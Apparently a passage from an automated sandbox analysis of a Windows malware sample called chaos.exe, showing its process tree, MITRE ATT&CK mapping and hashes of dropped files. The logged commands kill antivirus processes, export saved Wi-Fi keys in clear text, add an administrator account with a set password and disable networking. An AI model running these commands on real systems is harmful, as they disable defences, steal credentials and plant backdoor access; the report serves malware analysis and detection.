    taskkill /f /im msmpeng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5804
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im defender.exe >nul 2>nul
  2⤵
  PID:4176
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im defender.exe
    3⤵
    - Kills process with taskkill
    PID:4280
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im antivirus.exe >nul 2>nul
  2⤵
  PID:2336
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im antivirus.exe
    3⤵
    - Kills process with taskkill
    PID:4204
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im symantec.exe >nul 2>nul
  2⤵
  PID:1672
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im symantec.exe
    3⤵
    - Kills process with taskkill
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im kaspersky.exe >nul 2>nul
  2⤵
  PID:1332
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im kaspersky.exe
    3⤵
    - Kills process with taskkill
    PID:3248
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im bitdefender.exe >nul 2>nul
  2⤵
  PID:5408
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im bitdefender.exe
    3⤵
    - Kills process with taskkill
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 -w 300 10.127.0.1 >nul 2>nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4504
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 1 -w 300 10.127.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2968
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c cmd /c netsh wlan export profile key=clear > C:\wlan_dump.txt 2>nul
  2⤵
  PID:1812
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c netsh wlan export profile key=clear
    3⤵
    PID:4584
  - - C:\Windows\SysWOW64\netsh.exe
      netsh wlan export profile key=clear
      4⤵
      PID:4540
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c arp -d >nul 2>nul
  2⤵
  PID:2040
- - C:\Windows\SysWOW64\ARP.EXE
    arp -d
    3⤵
    PID:4148
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ipconfig /release >nul 2>nul
  2⤵
  PID:5068
- - C:\Windows\SysWOW64\ipconfig.exe
    ipconfig /release
    3⤵
    - Gathers network information
    PID:5564
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg -h off >nul 2>nul
  2⤵
  - Power Settings
  PID:5016
- - C:\Windows\SysWOW64\powercfg.exe
    powercfg -h off
    3⤵
    - Power Settings
    PID:5188
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c >nul 2>nul
  2⤵
  - Power Settings
  PID:2856
- - C:\Windows\SysWOW64\powercfg.exe
    powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
    3⤵
    - Power Settings
    PID:4228
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh interface set interface "Ethernet" admin=disable >nul 2>nul
  2⤵
  PID:4956
- - C:\Windows\SysWOW64\netsh.exe
    netsh interface set interface "Ethernet" admin=disable
    3⤵
    PID:4284
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg -change -standby-timeout-ac 0 >nul 2>nul
  2⤵
  - Power Settings
  PID:4848
- - C:\Windows\SysWOW64\powercfg.exe
    powercfg -change -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:4660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/
  2⤵
  PID:1816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ffd1ee0c188,0x7ffd1ee0c194,0x7ffd1ee0c1a0
    3⤵
    PID:300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1548,i,11047484867154478052,15673908369406645613,262144 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:2
    3⤵
    PID:3308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1836,i,15239514086358981767,16434998084492919924,524288 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=2640 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4908
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2280,i,3758649086517381784,3895434389905323137,524288 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=2956 /prefetch:13
    3⤵
    PID:1080
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3572,i,15249334495586838864,16447887351313695598,2097152 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
    3⤵
    PID:2920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3576,i,6932840564338666756,6415042618968157909,2097152 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=3648 /prefetch:1
    3⤵
    PID:4656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4304,i,16674922806754767668,13453139191647813957,2097152 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=4484 /prefetch:1
    3⤵
    PID:3864
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4316,i,10451470412859183745,3187904045144074459,2097152 --field-trial-handle=2604,i,13551668622869990696,3763778000832408532,262144 --variations-seed-version --mojo-platform-channel-handle=4488 /prefetch:9
    3⤵
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg -change -hibernate-timeout-ac 0 >nul 2>nul
  2⤵
  - Power Settings
  PID:256
- - C:\Windows\SysWOW64\powercfg.exe
    powercfg -change -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:1348
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 -w 300 10.127.0.2 >nul 2>nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5988
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 1 -w 300 10.127.0.2
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net user Admin Chaos!2024 /add /y >nul 2>nul
  2⤵
  PID:2244
- - C:\Windows\SysWOW64\net.exe
    net user Admin Chaos!2024 /add /y
    3⤵
    PID:4788
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user Admin Chaos!2024 /add /y
      4⤵
      PID:4360
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ping -n 1 -w 300 10.127.0.3 >nul 2>nul
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5820

C:\Users\Admin\AppData\Local\Temp\chaos.exe
C:\Users\Admin\AppData\Local\Temp\chaos.exe
1⤵
PID:4140

C:\Windows\system32\sethc.exe
sethc.exe 101
1⤵
PID:4444

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004F8 0x00000000000004F0
1⤵
PID:6028

C:\Windows\System32\rundll32.exe
rundll32.exe uxtheme.dll,#64 C:\Windows\resources\themes\Aero\AeroLite.msstyles?NormalColor?NormalSize
1⤵
PID:4852

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:5104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s Netman
1⤵
PID:5240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Power Settings

T1653

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 c95a47aec5edba88214fad580cb869417b6620a91d8ee97e2d0b7801d3372be5
MD5 aad5f2ca0dd16bb2ea6c7757ea569c50
SHA1 5228b0b132542be004ea1bb32f3748964d065af5
SHA512 9d59c0291d741bd9d6cf50c22972d4baef00e7c1a48d6a3311a6cc82c04ceeba6e2be9458334cb954878915cc9eb91a8fd8bc4a47c966d57a2a05d6ee8211640
TLSH
T1D4D09BE177A19D18C545353567D1522591416D31451927194241E13D9D7E2C3455F0AA
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ac1b1f93ff87eb876027f4166d705375c0f5d3d22dcb03f6a66f6100e88dd10f
MD5 b99f03c5cfe71b03836f8b5fcf09425b
SHA1 8a5078499c0b5ea40183efb77f9c1028c196409c
SHA512 6b9feec4ead7bf05f67d0d480907e21a3b770d8d12dedd2b0d785904186eac7448583e61abacb23582948de55c8ea2043bfd6908efd7faecdd82cee91404cfe6
TLSH
T16DD02BE037909D18C440353163D0122091006C30880923090100A02C8D3E2C3054F0BE
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 7c5d9f8ba9c8b7825860e285096c17ab691332d36ec73594ce54a4093109f2f4
MD5 303be39a8f95613c6d36c9e65f4f6ebe
SHA1 ddf490d2ee741c8155f8d1ec4caace6eda97cc68
SHA512 613782f5ccafd8c15049c0713b5c35d5277bece33cbd68c2f7eb84266dbe794e518cefc2339245bb6f17cf55c5fb22818018feb94297d37f4d25f47998f1a48b
SSDEEP 768:hrv+4UNbdz3fq/TBOWSYONXyer1IRCzniBeeVH1SK7:hbsbV3SBSIqn1EH1l
TLSH
T19B03BF32E4989E338DE2A3C6B147B6437FB86057D6800790DDDE2F4E069B99E130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 b35d7b61e15e6c25108bea999b11e80162add201c848dadbf6109f08f32983e3
MD5 b7837a63f9560fd6ce27018f35ce9b48
SHA1 4582e0ce43173e54d53ab0fcbb6d13245f9ae572
SHA512 6fbf5acfc2bba6fc8b57ae68a6ff3da988858b258df47a7fe0432e20656bd1f64a431948999ed1e1d48fda26e58a51cf9dd089bc3cf4ba98c459cd43c3841783
SSDEEP 768:Qrv+4UNbdz3Mm/TBOWS3ztIONXyer1IRCzniwreVH1SK7:QbsbV353SIqnHEH1l
TLSH
T1DD03BF31A159DE338DE2A396B047B7877FB82067C5800A90EDDA1F8E099799E130F957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads